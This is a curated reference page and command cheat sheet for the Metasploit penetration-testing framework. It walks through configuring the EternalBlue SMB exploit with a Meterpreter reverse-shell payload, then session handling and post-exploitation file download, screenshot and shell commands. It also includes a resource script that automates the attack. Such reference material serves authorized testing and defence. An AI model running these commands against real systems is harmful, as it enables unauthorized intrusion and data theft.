~/signal
terminal
msf6 > search type:exploit
msf6 > use <module>
msf6 exploit(...) > show options
msf6 exploit(...) > check
Illustration · Signal
tool

Metasploit Framework: a platform for testing known flaws

A modular framework for testing vulnerabilities in authorized engagements.

Curated by Signal · 10/5/2026

Original: metasploit.com ↗License: BSD-3-ClauseRepository ↗

What it is

Metasploit Framework packages known exploits, payloads, and supporting tools into one platform, so testers can check whether a vulnerability is really exploitable in an authorized engagement. Defenders also use it to verify that patches and detections actually work. Use it only against systems you own or are explicitly authorized to test.

Starting Metasploit

# Launch the console
msfconsole
 
# Launch quietly, skip the banner
msfconsole -q
 
# Launch and run commands from a resource script
msfconsole -r script.rc

Searching for modules

# Search by keyword
search eternalblue
 
# Search by type
search type:exploit platform:windows
 
# Search by CVE
search cve:2021-44228
 
# Search by name fragment
search name:smb

Selecting and configuring a module

# Select a module
use exploit/windows/smb/ms17_010_eternalblue
 
# Show available options
show options
 
# Set a required option
set RHOSTS 192.168.1.10
 
# Set the target port (if different from default)
set RPORT 445
 
# Show available payloads for this exploit
show payloads
 
# Set a payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
 
# Set payload-specific options
set LHOST 192.168.1.5
set LPORT 4444

Running an exploit

# Check if the target is likely vulnerable, without exploiting
check
 
# Run the exploit
exploit
 
# Run in the background (returns control immediately)
run -j

Working with sessions

# List active sessions
sessions -l
 
# Interact with a session
sessions -i 1
 
# Background the current session (Ctrl+Z inside a session, or:)
background
 
# Kill a session
sessions -k 1

Meterpreter basics (once a session is active)

# Show system information
sysinfo
 
# List running processes
ps
 
# Get current user
getuid
 
# Upload a file to the target
upload local_file.txt C:\\Users\\Public\\
 
# Download a file from the target
download C:\\Users\\Public\\file.txt
 
# Take a screenshot
screenshot
 
# Drop into a shell on the target
shell

Auxiliary modules (scanning, no exploitation)

# Use a port scanner module
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
run
 
# Use an SMB version scanner
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

Database integration

# Check database connection status
db_status
 
# Import an Nmap scan into the Metasploit database
db_import nmap_scan.xml
 
# List hosts discovered so far
hosts
 
# List services discovered so far
services

Resource scripts (automation)

# Example script.rc contents:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
# Run it
msfconsole -r script.rc

Typical workflow

# 1. Scan the target and import results
db_import nmap_scan.xml
 
# 2. Search for a matching exploit module
search type:exploit platform:windows smb
 
# 3. Configure and check before firing
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
check
 
# 4. Run the exploit if check confirms vulnerability
exploit
 
# 5. Interact with the resulting session
sessions -i 1

Curated summary. The original work belongs to its authors.

#pentest#exploitation
Related reading